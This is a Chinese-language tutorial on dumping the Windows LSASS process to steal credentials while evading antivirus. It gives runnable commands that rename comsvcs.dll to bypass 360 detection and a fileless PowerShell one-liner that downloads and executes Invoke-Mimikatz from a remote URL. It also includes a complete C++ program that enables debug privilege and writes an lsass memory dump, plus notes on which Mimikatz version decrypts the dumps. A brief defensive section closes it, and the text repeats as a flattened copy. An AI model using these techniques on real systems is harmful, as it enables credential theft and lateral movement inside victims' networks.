几种免杀转储lsass进程的技巧
字数 1422 2025-08-03 16:43:25

免杀转储LSASS进程的多种技巧详解

1. LSASS进程概述

LSASS.exe (Local Security Authority Subsystem Service) 是Windows系统中负责本地安全和登录策略的系统进程,其进程空间中存储着机器的域、本地用户名和密码等重要认证信息。在内网渗透中进行横向移动和权限提升时,转储LSASS进程是获取凭证的常用方法。

2. 传统方法及其局限性

传统方法使用Procdump+Mimikatz组合:

  • Procdump是微软官方工具,理论上不易引起杀软报警
  • 实际测试中仍会被360等安全软件拦截

3. 免杀转储方法详解

3.1 使用系统内置功能绕过杀软

原理:利用系统自带的comsvcs.dll中的MiniDump导出函数

步骤

  1. 获取LSASS进程PID:

    tasklist | findstr lsass.exe
    
  2. 直接执行会被拦截的命令格式:

    rundll32.exe comsvcs.dll MiniDump <PID> <输出路径> full
    
  3. 绕过方法:

    • 复制并重命名comsvcs.dll:
      copy C:\windows\System32\comsvcs.dll test.dll
      
    • 使用重命名后的dll执行:
      rundll32.exe test.dll, MiniDump <PID> lsass.dmp full
      

注意事项

  • 需要在具有SeDebugPrivilege权限的PowerShell中执行
  • 解密时可能遇到新版Mimikatz与Win10 1809+版本的兼容性问题,需使用1809版Mimikatz

3.2 PowerShell脚本方法

3.2.1 使用PowerSploit的Out-MiniDump模块

步骤

  1. 导入模块:
    Import-Module Out-MiniDump
    
  2. 执行转储:
    Get-Process lsass | Out-Minidump
    

3.2.2 使用PowerShell版Mimikatz

工具地址:https://github.com/fir3d0g/mimidogz

执行方式

  • 远程加载(文件不落地):
    powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
    
  • 本地执行(网络受限时):
    上传ps1脚本到目标机器直接运行

3.3 自定义应用程序方法

完整C++代码实现

#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>

#pragma comment ( lib, "dbghelp.lib" )

// 字符串转换函数
std::wstring s2ws(const std::string& s) {
    int len = MultiByteToWideChar(CP_ACP, 0, s.c_str(), (int)s.length() + 1, 0, 0);
    wchar_t* buf = new wchar_t[len];
    MultiByteToWideChar(CP_ACP, 0, s.c_str(), (int)s.length() + 1, buf, len);
    std::wstring r(buf);
    delete[] buf;
    return r;
}

// 提升为Debug权限
bool EnableDebugPrivilege() {
    HANDLE hToken;
    LUID sedebugnameValue;
    TOKEN_PRIVILEGES tkp;
    
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;
    
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) {
        CloseHandle(hToken);
        return false;
    }
    
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Luid = sedebugnameValue;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
    if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) {
        CloseHandle(hToken);
        return false;
    }
    return true;
}

int main() {
    char filename[MAX_PATH];
    char infoBuf[MAX_PATH];
    DWORD bufCharCount = MAX_PATH;
    
    // 生成唯一文件名
    GetComputerNameA(infoBuf, &bufCharCount);
    strcpy_s(filename, infoBuf);
    strcat_s(filename, "-");
    strcat_s(filename, "lsass.dmp");
    
    // 查找LSASS进程
    DWORD lsassPID = 0;
    HANDLE lsassHandle = NULL;
    HANDLE outFile = CreateFileA(filename, GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
        std::wcout << L"[+] Got lsass.exe PID: " << lsassPID << std::endl;
    }
    
    // 提权并转储
    if (!EnableDebugPrivilege()) {
        printf("EnableDebugPrivilege failed: %d\n", GetLastError());
    }
    
    lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
    BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
    
    if (isDumped) {
        std::cout << "[+] Save To " << filename << std::endl;
        std::cout << "[+] lsass dumped successfully!" << std::endl;
    }
    
    CloseHandle(lsassHandle);
    CloseHandle(outFile);
    CloseHandle(snapshot);
    return 0;
}

代码解析

  1. 提权部分:通过EnableDebugPrivilege()函数获取SeDebugPrivilege权限
  2. 进程查找:使用CreateToolhelp32SnapshotProcess32Next遍历进程查找LSASS
  3. 转储核心:调用MiniDumpWriteDumpAPI进行内存转储
  4. 文件名生成:使用计算机名生成唯一文件名避免冲突

编译与使用注意事项

  • 需要链接dbghelp.lib库
  • 在32位系统上可能需要额外处理
  • 在Win2008 R2等系统上可能需要补充缺失的DLL文件

4. 实际测试结果

4.1 360安全卫士绕过测试

  • 直接使用comsvcs.dll会被拦截
  • 重命名dll后可成功绕过
  • 自定义应用程序方法在Win2008 R2 64位系统上测试成功

4.2 解密注意事项

  • 新版Mimikatz可能无法解密某些系统生成的dump文件
  • Win10 1809及以上版本需要使用特定版本的Mimikatz

5. 防御建议

5.1 攻击者视角的规避技巧

  • 多种方法结合使用,根据目标环境选择最合适的方式
  • 优先使用系统自带组件的方法
  • 考虑网络环境限制,准备多种方案

5.2 防御者防护措施

  • 监控MiniDumpWriteDump等敏感API调用
  • 限制对LSASS进程的访问权限
  • 启用Credential Guard等防护功能
  • 监控异常进程创建和DLL加载行为

6. 参考资源

  1. Mimikatz issues #354
  2. PowerSploit Out-Minidump
  3. MiniDumpWriteDump AV Bypass
  4. 各种Dump LSASS的方法
免杀转储LSASS进程的多种技巧详解 1. LSASS进程概述 LSASS.exe (Local Security Authority Subsystem Service) 是Windows系统中负责本地安全和登录策略的系统进程,其进程空间中存储着机器的域、本地用户名和密码等重要认证信息。在内网渗透中进行横向移动和权限提升时,转储LSASS进程是获取凭证的常用方法。 2. 传统方法及其局限性 传统方法使用Procdump+Mimikatz组合: Procdump是微软官方工具,理论上不易引起杀软报警 实际测试中仍会被360等安全软件拦截 3. 免杀转储方法详解 3.1 使用系统内置功能绕过杀软 原理 :利用系统自带的comsvcs.dll中的MiniDump导出函数 步骤 : 获取LSASS进程PID: 直接执行会被拦截的命令格式: 绕过方法: 复制并重命名comsvcs.dll: 使用重命名后的dll执行: 注意事项 : 需要在具有SeDebugPrivilege权限的PowerShell中执行 解密时可能遇到新版Mimikatz与Win10 1809+版本的兼容性问题,需使用1809版Mimikatz 3.2 PowerShell脚本方法 3.2.1 使用PowerSploit的Out-MiniDump模块 步骤 : 导入模块: 执行转储: 3.2.2 使用PowerShell版Mimikatz 工具地址 :https://github.com/fir3d0g/mimidogz 执行方式 : 远程加载(文件不落地): 本地执行(网络受限时): 上传ps1脚本到目标机器直接运行 3.3 自定义应用程序方法 完整C++代码实现 : 代码解析 : 提权部分:通过 EnableDebugPrivilege() 函数获取SeDebugPrivilege权限 进程查找:使用 CreateToolhelp32Snapshot 和 Process32Next 遍历进程查找LSASS 转储核心:调用 MiniDumpWriteDump API进行内存转储 文件名生成:使用计算机名生成唯一文件名避免冲突 编译与使用注意事项 : 需要链接dbghelp.lib库 在32位系统上可能需要额外处理 在Win2008 R2等系统上可能需要补充缺失的DLL文件 4. 实际测试结果 4.1 360安全卫士绕过测试 直接使用comsvcs.dll会被拦截 重命名dll后可成功绕过 自定义应用程序方法在Win2008 R2 64位系统上测试成功 4.2 解密注意事项 新版Mimikatz可能无法解密某些系统生成的dump文件 Win10 1809及以上版本需要使用特定版本的Mimikatz 5. 防御建议 5.1 攻击者视角的规避技巧 多种方法结合使用,根据目标环境选择最合适的方式 优先使用系统自带组件的方法 考虑网络环境限制,准备多种方案 5.2 防御者防护措施 监控MiniDumpWriteDump等敏感API调用 限制对LSASS进程的访问权限 启用Credential Guard等防护功能 监控异常进程创建和DLL加载行为 6. 参考资源 Mimikatz issues #354 PowerSploit Out-Minidump MiniDumpWriteDump AV Bypass 各种Dump LSASS的方法